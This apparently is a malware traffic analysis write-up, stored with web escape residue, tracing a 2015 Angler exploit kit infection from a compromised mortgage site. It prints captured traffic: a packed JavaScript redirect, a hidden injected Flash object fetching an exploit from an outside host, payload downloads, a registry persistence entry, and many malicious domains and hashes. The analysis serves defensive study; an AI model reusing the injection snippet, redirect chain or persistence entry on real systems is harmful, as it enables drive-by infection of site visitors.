– So I made an assumption that the same binary was being pulled down since content-length was the same, but after thinking about it more this morning that does not make sense since it is coming from 2 different pages off the vu7.ns6rlto.xyz domain.
\n– I also failed to extract the Flash exploit found on the vu7.ns6rlto.xyz site. Extracting that out and trying to look at it via JPEXS Flash Decompiler, I can see the binary in the file, and the scripts but have no idea on how to read the scripts. 8-( I have added that to the sites\/files list found at the bottom of the page. <\/p>\n
![](\"http:\/\/memesvault.com\/wp-content\/uploads\/Facepalm-Meme-Gif-19.png\")
Damn it!<\/p><\/div>\n
Notes About the Investigation
\n==============================<\/p>\n
– Date and time of the activity.
\n> 2015-10-28 12.53 – 13.01<\/p>\n
– The infected computer’s IP address.
\n> 172.16.124.217<\/p>\n
– The infected computer’s MAC address.
\n> 18:03:73:dc:25:1a<\/p>\n
– The infected computer’s host name.
\n> HooptyDoo-PC<\/p>\n
– Domains and IP addresses of any infection traffic.
\n> 66.33.210.104 \/ www.mortgagejaw.com
\n> 5.101.152.119 \/ cosmaxuta.xyz
\n> 185.46.121.99 \/ bodyfrock.com
\n> 31.170.160.229 \/ link-for-me1.host56.com
\n> 5.101.152.119 \/ omisvartrop.xyz
\n> 31.170.160.59 \/ error404.000webhost.com
\n> 194.15.126.7 \/ info.albismail.ch
\n> 178.32.173.181 \/ vu7.ns6rlto.xyz
\n> 5.8.60.94 \/ truedemocracy9237.com\/systemupdate937.com<\/p>\n
– Information about malware found on the infected host.
\n> The malware used in this was from an Angler EK. I also see that the file is a dropper as there is another file that gets created in “C:\\Windows\\SysWOW64” that maintains persistence via an added registry key. <\/p>\n
– The root cause (what is the likely cause of the infection noted in the pcap).
\n> Based on what I am able to find this was caused by a compromised website that lead to the EK and the eventual compromise.<\/p>\n
Notes about investigation
\n==========================<\/p>\n
So based on what I can see from the PCAP, the user went to Bing and looked for the site “mortgagejaw.com” which is where the infection chain starts from based on the fact that I can see an embedded javascript in the main page. So I took what I learned from the last exercise and I changed all the “eval” statements to “alert.” The following is what I was able to find:<\/p>\n
**Please note that the same popup above is repeated 5 times which makes sense since we see “cosmaxuta.com\/fd27” 5 times in the PCAP when looking at HTTP Objects.<\/p>\n We then see the 6th and 7th popups which appear with more links as well:<\/p>\n So taking this one-at-a-time, I looked at the link from the 6th EVAL statement (link-for-me1.host56.com) to see what I could find:<\/p>\n From here we are redirected to:<\/p>\n Whoops… Looks like someone forgot to pay for the upgrade! <\/p>\n Moving on to the next URL from the 7th EVAL statement (bodyfrock.com\/robot.html), I decided to use Captipper over Wireshark since it has a built-in GZIP decompression utility with it. Here is what the request looks like un-compressed and JSBeautified:<\/p>\n Looking at this one we see that it is making a call out to the following site:<\/p>\n Following this we can see that there is a 302 redirect to google.com:<\/p>\n The only thing that stands out to me about this request is the “Set-Cookie” field. This looks to be URL encoded. A quick decode of this translates to:<\/p>\n Unfortunately, I was not able to find anything on Google about this particular string. <\/p>\n So at this time there is nothing that is leading me to a “smoking gun” so I continue to look at the PCAP to see what else I could find. So here is were it gets a little weird to me. Looking through the PCAP to see what stands out to me, I can see connections being made to the site “info.albismail.ch” from the “mortgagejaw.com” site since there is some code calling this site within the \u201cmortgagejaw.com\u201d site:<\/p>\n and the connection being made via Wireshark:<\/p>\n What is weird to me about this is the fact that I am not able to find the connection to “info.albismail.ch\/page.php?id=” anywhere in any of the artifacts. Looking up the domain “info.albismail.ch” on Google links me over to a hit on VirusTotal<\/a> which does label this as a “malware” site. <\/p>\n Looking at this request via Wireshark I start to realize that I am getting close to my “smoking gun:”<\/p>\n which then leads to what looks to be an Angler EK landing page (since the landing page is full of what looks to be quotes from Jane Austen, and some other scripts that I do not know how to decode\/decipher):<\/p>\n Yep, I am getting closer now since I am seeing POST responses back to the server with, most likely, details about the system so it knows how to exploit it:<\/p>\n There we go – there is the Flash exploit that I was looking for which then drops the malicious binary onto the system as seen below:<\/p>\n Once the binary had been pushed down to the client system and executed, we then start to see traffic leaving the infected system over ports 80 and 443 to the IP address of 5.8.60.194 (truedemocracy9237.com and systemupdate937.com). The traffic is protected via a SSL certificate from what I can see. Also, Hybrid-Analysis states that these connections do not use a HTTP header hence why this traffic never shows up using the \u201chttp.request\/http\u201d filter or in the HTTP Export Objects:<\/p>\n Lastly, I ran the executable on my test VM to see what it does. I used Regshot to see what was written to the system after running a “snapshot,” and I noticed a couple of things within the Regshot log:<\/p>\n When looking into this a little further, I did see the binary “bjxbrgu.exe” had hooked itself into the “explorer.exe” process and was making the same outbound connections to 5.8.60.194 as seen in the PCAP:<\/p>\n Outside analysis about URLs and files Site: www.mortgagejaw.com Site: cosmaxuta.xyz\/fd27 Site: bodyfrock.com\/robot.html Site: link-for-me1.host56.com\/view-info.php Site: omisvartrop.xyz\/fwe321d Site: error404.000webhost.com\/cpu-limit-reached.html Site: info.albismail.ch\/video.php?sid=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B Site: error404.000webhost.com\/new_style.css Site: info.albismail.ch\/page.php?id=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B Site: vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38 Site: vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38 Site: vu7.ns6rlto.xyz\/compare.srf?moment=&sale=t1wp4ibC&French=&statement=4mEkI6g5X&full=7CPtkEU-&former=3k62&see=&lead=b8EpbS&contain=2yFc_a8YdY86P Site: vu7.ns6rlto.xyz\/period.der?way=&fear=IpvAaZK&policy=dY0J4i&strike=VEM9XGwQ3&history=ohBl5x9B-&stop=KXV&performance=g8g5&class=17XB1rj_WN Site: vu7.ns6rlto.xyz\/division.xfdl?performance=&away=uvTteO¬e=&afternoon=o7XV9r&day=-Uc0wMYGJ&table=&western=fMDo&action=&son=kXVPuK-7y&catch=FOQk&marriage=pen3iExGo2 File: compare.srf.swf File name: eevgoqv.exe File name: bjxbrgu.exe So here is the latest one from Brad – another good exercise to say the least! One thing to note about this one is that I had some issues extracting objects from the PCAP using Wireshark. In those cases I was able to use Captipper to extract out the HTTP object. Also, I am re-organizing my Github so the individual files from the different labs can be downloaded individually and not as one huge download. **Update 06\/11\/2015 – So after reading Malware Kiwi’s blog post with his results, and talking to some of the guys at work that did the…<\/p>\n![\"Pop-ups](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/1.png\")
<\/a><\/p>\n![\"2\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/2.png\")
<\/a><\/p>\n![\"3\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/3.png\")
<\/a><\/p>\n\r\nGET \/view-info.php HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/www.mortgagejaw.com\/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: link-for-me1.host56.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 302 Found\r\nDate: Wed, 28 Oct 2015 17:56:24 GMT\r\nServer: Apache\r\nX-Powered-By: PHP\/5.2.17\r\nLocation: http:\/\/error404.000webhost.com\/cpu-limit-reached.html\r\nContent-Length: 0\r\nConnection: close\r\nContent-Type: text\/html\r\n<\/pre>\n
\r\nGET \/cpu-limit-reached.html HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/www.mortgagejaw.com\/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nConnection: Keep-Alive\r\nHost: error404.000webhost.com\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.6.2\r\nDate: Wed, 28 Oct 2015 18:25:42 GMT\r\nContent-Type: text\/html\r\nLast-Modified: Mon, 26 Oct 2015 19:51:28 GMT\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nVary: Accept-Encoding\r\nX-Frame-Options: DENY\r\nContent-Encoding: gzip\r\n\r\nb78\r\n...........[.S.8......w..j...#$..9.f..rT.|..[I....dB....}........I..U.uX...-!...?....w.F.sQ......2.....gY....?G..'.jV.%....2...u..@.H..eY.....M.....u........L.i:.1.+mM..s}.)X......\r\n<\/pre>\n
![\"Whoops\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/4.png\")
<\/a><\/p>\n\r\nGET \/robot.html HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/www.mortgagejaw.com\/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: bodyfrock.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Wed, 28 Oct 2015 18:06:33 GMT\r\nServer: Apache\r\nLast-Modified: Sun, 25 Oct 2015 11:58:10 GMT\r\nAccept-Ranges: none\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nCache-Control: max-age=0\r\nExpires: Wed, 28 Oct 2015 18:06:33 GMT\r\nContent-Length: 328\r\nConnection: close\r\nContent-Type: text\/html\r\n\r\n eval(function(p, a, c, k, e, r) {\r\n e = function(c) {\r\n return c.toString(a)\r\n };\r\n if (!''.replace(\/^\/, String)) {\r\n while (c--) r[e(c)] = k[c][\/c] || e(c);\r\n k = [function(e) {\r\n return r[e]\r\n }];\r\n e = function() {\r\n return '\\\\w+'\r\n };\r\n c = 1\r\n };\r\n while (c--) if (k[c][\/c]) p = p.replace(new RegExp('\\\\b' + e(c) + '\\\\b', 'g'), k[c][\/c]);\r\n return p\r\n}('5 0=2;3("4.1.6=\\'7:\/\/8.9\/a\\'",0);', 11, 11, 'delay|location|100|setTimeout|document|var|href|http|omisvartrop|xyz|fwe321d'.split('|'), 0, {})) \r\n<\/pre>\n![\"5\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/5.png\")
<\/a><\/p>\n\r\nGET \/fwe321d HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/bodyfrock.com\/robot.html\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: omisvartrop.xyz\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 302 Found\r\nServer: nginx\/1.9.5\r\nDate: Wed, 28 Oct 2015 17:56:25 GMT\r\nContent-Type: text\/html; charset=utf-8\r\nContent-Length: 0\r\nConnection: keep-alive\r\nKeep-Alive: timeout=30\r\nX-Powered-By: PHP\/5.6.14\r\nExpires: Thu, 21 Jul 1977 07:30:00 GMT\r\nLast-Modified: Wed, 28 Oct 2015 17:56:25 GMT\r\nCache-Control: max-age=0\r\nPragma: no-cache\r\nSet-Cookie: c3866=a%3A3%3A%7Bs%3A6%3A%22groups%22%3Ba%3A1%3A%7Bi%3A1%3Bi%3A1446054985%3B%7Ds%3A7%3A%22streams%22%3Ba%3A1%3A%7Bi%3A1%3Bi%3A1446054985%3B%7Ds%3A4%3A%22time%22%3Bi%3A1446054985%3B%7D; expires=Sat, 28-Nov-2015 17:56:25 GMT; Max-Age=2678400; path=\/; domain=.omisvartrop.xyz\r\nLOCATION: http:\/\/google.com\r\n<\/pre>\n
\r\nc3866=a:3:{s:6:"groups";a:1:{i:1;i:1446054985;}s:7:"streams";a:1:{i:1;i:1446054985;}s:4:"time";i:1446054985;}\r\n<\/pre>\n\r\n<body><div style = "position: absolute;z-index:-1; left:300px; opacity:0;filter:alpha(opacity=0); -moz-opacity:0;">\r\n<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="EITest" codebase="http:\/\/fpdownload.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=8,0,0,0" width="50" height="50" align="middle" >\r\n<param name="allowScriptAccess" value="always"\/>\r\n<param name="movie" value="http:\/\/info.albismail.ch\/video.php?sid=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B"\/>\r\n<param name="quality" value="high"\/>\r\n<param name="FlashVars" value="css=2&id=kphq0cndkuockn0ej1rcig0rjrAkf%3F6G63CCD4%3A4D3553H9%3BD72DDE58%3A99D4%3B2%3BD967HCH6H29%3A462G487E%3AF27C656GC%3B6FE368H4D" \/>\r\n<param name="bgcolor" value="#ffffff"\/>\r\n<param name="wmode" value="opaque"\/>\r\n<embed src="http:\/\/info.albismail.ch\/video.php?sid=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B" quality="high" bgcolor="#ffffff" name="EITest" FlashVars="css=2&id=kphq0cndkuockn0ej1rcig0rjrAkf%3F6G63CCD4%3A4D3553H9%3BD72DDE58%3A99D4%3B2%3BD967HCH6H29%3A462G487E%3AF27C656GC%3B6FE368H4D" width="50" height="50" align="middle" allowScriptAccess="always" play="true" type="application\/x-shockwave-flash" pluginspage="http:\/\/www.macromedia.com\/go\/getflashplayer" wmode="opaque"\/>\r\n<\/object>\r\n<\/div><\/body> \r\n<\/pre>\n
\r\nGET \/video.php?sid=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-US\r\nReferer: http:\/\/www.mortgagejaw.com\/\r\nx-flash-version: 18,0,0,209\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nHost: info.albismail.ch\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Wed, 28 Oct 2015 18:51:55 GMT\r\nServer: Apache\/2.2.3 (CentOS)\r\nX-Powered-By: PHP\/5.4.30\r\nContent-Length: 2305\r\nConnection: close\r\nContent-Type: application\/x-shockwave-flash\r\n\r\nCWS.s...x.}VMs...^. .......l7r.D.#..)).j)..A..H..\r\n<\/pre>\n
\r\nGET \/page.php?id=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/www.mortgagejaw.com\/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: info.albismail.ch\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Wed, 28 Oct 2015 18:51:57 GMT\r\nServer: Apache\/2.2.3 (CentOS)\r\nX-Powered-By: PHP\/5.4.30\r\nContent-Length: 444\r\nConnection: close\r\nContent-Type: text\/html; charset=UTF-8\r\n\r\n<html>\r\n<head>\r\n<meta http-equiv="Content-Type" content="text\/html; charset=utf-8">\r\n<meta name="robots" content="noindex, nofollow">\r\n<meta http-equiv="refresh" content="0; url='http:\/\/vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38'">\r\n<\/head>\r\n<body>\r\n<script type="text\/javascript">\r\nwindow.self.location.replace("http:\/\/vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38");\r\n<\/script>\r\n<\/body>\r\n<\/html>\r\n<\/pre>\n\r\nGET \/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38 HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/info.albismail.ch\/page.php?id=4E41AAB282B1331F79B50BBC36877B2909B745FAF4F078240E265C8D05A434EA94DC146F2B\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: vu7.ns6rlto.xyz\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:38 GMT\r\nContent-Type: text\/html\r\nContent-Length: 182761\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n<\/pre>\n
\r\nPOST \/boards\/business.vrml?indicate=&watch=Key&business=enPOjT9H&hill=tQhLbb&large=ZcK1hBZ_A&poem=9buG&let=F4rI6_X0&bear=Wvp&stage=ci7&stay=VWl0 HTTP\/1.1\r\nAccept: *\/*\r\nContent-Type: text\/html; charset=utf-8\r\nReferer: http:\/\/vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38\r\nAccept-Language: en-US\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nHost: vu7.ns6rlto.xyz\r\nContent-Length: 188\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nionGCYAFE43t5u8jDGOIH+D7UTr2jXCzZzmtiHqIIt3XTsuKIVxW\/CptylTBgsK7AgwnVUBY8OWvu1tAq1unDBHCZjoT1\/iRenWvi8OwIEjFHH8pCbgfi5RcF54O1Bgk8lm\/eC8tttpOkIT52eqqdAxi6BA4T8JH5upujc5mRU6OL7W6zwUxNzg0MA==\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:42 GMT\r\nContent-Type: text\/html\r\nContent-Length: 2384\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n\r\n-----\r\n\r\nPOST \/eye.shtml?call=&fail=QamIryu&relation=CLtbHHD&general=dee&have=RExJ&from=&short=jtuaA&money=uilwofDBP&population=w1g3UU&live=SMkLb&white=mo HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-US\r\nReferer: http:\/\/vu7.ns6rlto.xyz\/compare.srf?moment=&sale=t1wp4ibC&French=&statement=4mEkI6g5X&full=7CPtkEU-&former=3k62&see=&lead=b8EpbS&contain=2yFc\r\nx-flash-version: 18,0,0,209\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 196\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nHost: vu7.ns6rlto.xyz\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nYI3bIIEAwbBkkPKch69ksGjWkn2ihQcxBvCi1w\/HZsmJ0uI56miT585omGwmtNC1kYHJrnICm+9dbb9Oy3Bc6VtfieUYahunUC\/5frfYH3+WrL66liF7e5KaoWvxkG3N\/JyieG7m+3kpVeNzmEpufHmONKAPRaEh7oVjigMaKxxSdIZse3MKMTgsMCwwLDIwOQ==\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:48 GMT\r\nContent-Type: text\/html\r\nContent-Length: 11192\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n<\/pre>\n
\r\nGET \/compare.srf?moment=&sale=t1wp4ibC&French=&statement=4mEkI6g5X&full=7CPtkEU-&former=3k62&see=&lead=b8EpbS&contain=2yFc_a8YdY86P HTTP\/1.1\r\nAccept: *\/*\r\nReferer: http:\/\/vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: vu7.ns6rlto.xyz\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 404 Not Found\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:41 GMT\r\nContent-Type: text\/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n\r\n0\r\n<\/pre>\n
\r\nGET \/compare.srf?moment=&sale=t1wp4ibC&French=&statement=4mEkI6g5X&full=7CPtkEU-&former=3k62&see=&lead=b8EpbS&contain=2yFc_a8YdY86P HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-US\r\nReferer: http:\/\/vu7.ns6rlto.xyz\/boards\/search.php?keywords=9185&fid0=jh.3o7a3x94w38\r\nx-flash-version: 18,0,0,209\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64; Trident\/7.0; rv:11.0) like Gecko\r\nHost: vu7.ns6rlto.xyz\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:41 GMT\r\nContent-Type: application\/x-shockwave-flash\r\nContent-Length: 83646\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n\r\nCWS\r\n\r\n-----\r\n\r\nGET \/period.der?way=&fear=IpvAaZK&policy=dY0J4i&strike=VEM9XGwQ3&history=ohBl5x9B-&stop=KXV&performance=g8g5&class=17XB1rj_WN HTTP\/1.1\r\nConnection: Keep-Alive\r\nHost: vu7.ns6rlto.xyz\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:48 GMT\r\nContent-Type: application\/octet-stream\r\nContent-Length: 110600\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n\r\n-----\r\n\r\nGET \/division.xfdl?performance=&away=uvTteO¬e=&afternoon=o7XV9r&day=-Uc0wMYGJ&table=&western=fMDo&action=&son=kXVPuK-7y&catch=FOQk&marriage=pen3iExGo2 HTTP\/1.1\r\nConnection: Keep-Alive\r\nHost: vu7.ns6rlto.xyz\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\/1.2.1\r\nDate: Wed, 28 Oct 2015 17:56:52 GMT\r\nContent-Type: application\/octet-stream\r\nContent-Length: 110600\r\nConnection: keep-alive\r\nCache-Control: no-cache, must-revalidate, max-age=1\r\nPragma: no-cache\r\n<\/pre>\n
![\"6\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/6.png\")
<\/a><\/p>\n![\"7\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/7.png\")
<\/a><\/p>\n\r\nValues added:\r\n----------------------------------\r\nHKU\\S-1-5-21-3862639240-4259269860-3308957193-500\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell: ""C:\\windows\\SysWow64\\bjxbrgu.exe" \/shell"\r\n\r\nFiles added:\r\n----------------------------------\r\nC:\\windows\\SysWOW64\\bjxbrgu.exe\r\n<\/pre>\n
![\"8\"](\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/11\/8.png\")
<\/a><\/p>\n
\n======================================<\/p>\n
\nDetection ratio: 2 \/ 66
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/e7ef60a896dd8f75e78c0dd072fae71064f77299a730c1086b2e576793119a17\/analysis\/1446649831\/<\/a><\/p>\n
\nDetection ratio: 5 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/1786f769fb84380db4dc6eba547319626c6c75bc4dd665098bd931970805b992\/analysis\/<\/a><\/p>\n
\nDetection ratio: 0 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/a75417c10bc91336fdb66554dfe3422dc2eff776d6af70fa40c9ff68363f16cf\/analysis\/<\/a><\/p>\n
\nDetection ratio: 2 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/432a2139b6933c7b80d31f98c914168786bd416d1193cc6cc337e1b3f398e32c\/analysis\/<\/a><\/p>\n
\nDetection ratio: 0 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/cd52306d4fecda4b16811a697a833f49c8ec7abbd7f580ff7518a97e96b94d8b\/analysis\/<\/a><\/p>\n
\nDetection ratio: 3 \/ 66
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/1a7a51861476826241de55480f725c4dc79932c3f18230f0736caf58c1f7de5a\/analysis\/<\/a><\/p>\n
\nDetection ratio: 1 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/3709943d98255190a9f86efe5a75ac8d14f6a32aecce97d800627fbdc4decf7d\/analysis\/<\/a><\/p>\n
\nDetection ratio: 2 \/ 61
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/1015b80a3c10a7e73317eeb3ded39eaa6203718306f77192a4464395e739c91c\/analysis\/<\/a><\/p>\n
\nDetection ratio: 1 \/ 66
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/b17c34fe63002ea076dfbd4d00e42b456e308d43d380285d20078dca113cc144\/analysis\/1446650541\/<\/a><\/p>\n
\nDetection ratio: 3 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/8607ab23f68032e089f7a025feb054c8edeedde7601357dd7639235f331949a9\/analysis\/<\/a><\/p>\n
\nDetection ratio: 3 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/8607ab23f68032e089f7a025feb054c8edeedde7601357dd7639235f331949a9\/analysis\/<\/a><\/p>\n
\nDetection ratio: 2 \/ 65
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/9fc362d967c91cebbaaf95bed26e001fbaa10242d336b5294f2bac8bb3818d66\/analysis\/<\/a><\/p>\n
\nDetection ratio: 3 \/ 66
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/489bddd53e65b33d8b3e08b2961f9d2d2c1fc8cd4decf575f90d68c7ff9a7330\/analysis\/1446650869\/<\/a><\/p>\n
\nDetection ratio: 3 \/ 66
\nVirustotal link: http:\/\/www.virustotal.com\/en\/url\/a13268f00adf81a20c913ca38d88ac721c2fd194cf8fcacd6a652dec6190a60c\/analysis\/1446650989\/<\/a><\/p>\n
\nSize: 84KB
\nMD5: 175fd2fcf0223fd9420e43f17805a884
\nSHA256: d1836b4a781ae75f53857a44340f127743a955808bd7b2d1a963fb32f0ca84b4
\nDetection ratio: 9 \/ 54
\nFirst submission: 2015-11-06 10:21:19 UTC
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/d1836b4a781ae75f53857a44340f127743a955808bd7b2d1a963fb32f0ca84b4\/analysis\/1446805279\/<\/a><\/p>\n
\nSize: 108KB
\nMD5: a6ab7683fd5c79699e6945ff7966f03b
\nSHA256: 1c44df6cad8c811e6b624eea1b5a7aa28251d9f63d7c73765a563814f876e75c
\nFirst submission: 2015-10-28 18:39:59 UTC
\nDetection ratio: 36 \/ 53
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/1c44df6cad8c811e6b624eea1b5a7aa28251d9f63d7c73765a563814f876e75c\/analysis\/1446628146\/<\/a>
\nHybrid-Analysis link: http:\/\/www.hybrid-analysis.com\/sample\/1c44df6cad8c811e6b624eea1b5a7aa28251d9f63d7c73765a563814f876e75c?environmentId=1<\/a>
\nMalwr link: http:\/\/malwr.com\/analysis\/M2EwM2YyZGQ2OTlhNGMzYjgzZmRlZmQwOGU2OWI3N2M<\/a><\/p>\n
\nSize: 116KB
\nMD5: 04ebb1f71a84424267002e83ffb947fc
\nSHA256: 35e6507d06a7e3312c270e768aa2d9344c7faa9f675065e43de95990d73e19a5
\nFirst submission: 2015-11-04 21:34:28 UTC
\nDetection ratio: 2 \/ 54
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/35e6507d06a7e3312c270e768aa2d9344c7faa9f675065e43de95990d73e19a5\/analysis\/1446672868\/<\/a>
\nMalwr link: http:\/\/malwr.com\/analysis\/YzgxMjdkMzA3YWFkNDZkNTg1ZGYwZTA2NWZlZTQzZjU\/<\/a>
\nHybrid-Analysis link (Win7 32bit): http:\/\/www.hybrid-analysis.com\/sample\/35e6507d06a7e3312c270e768aa2d9344c7faa9f675065e43de95990d73e19a5?environmentId=4<\/a>
\nHybrid-Analysis link (Win7 64bit): http:\/\/www.hybrid-analysis.com\/sample\/35e6507d06a7e3312c270e768aa2d9344c7faa9f675065e43de95990d73e19a5?environmentId=2<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"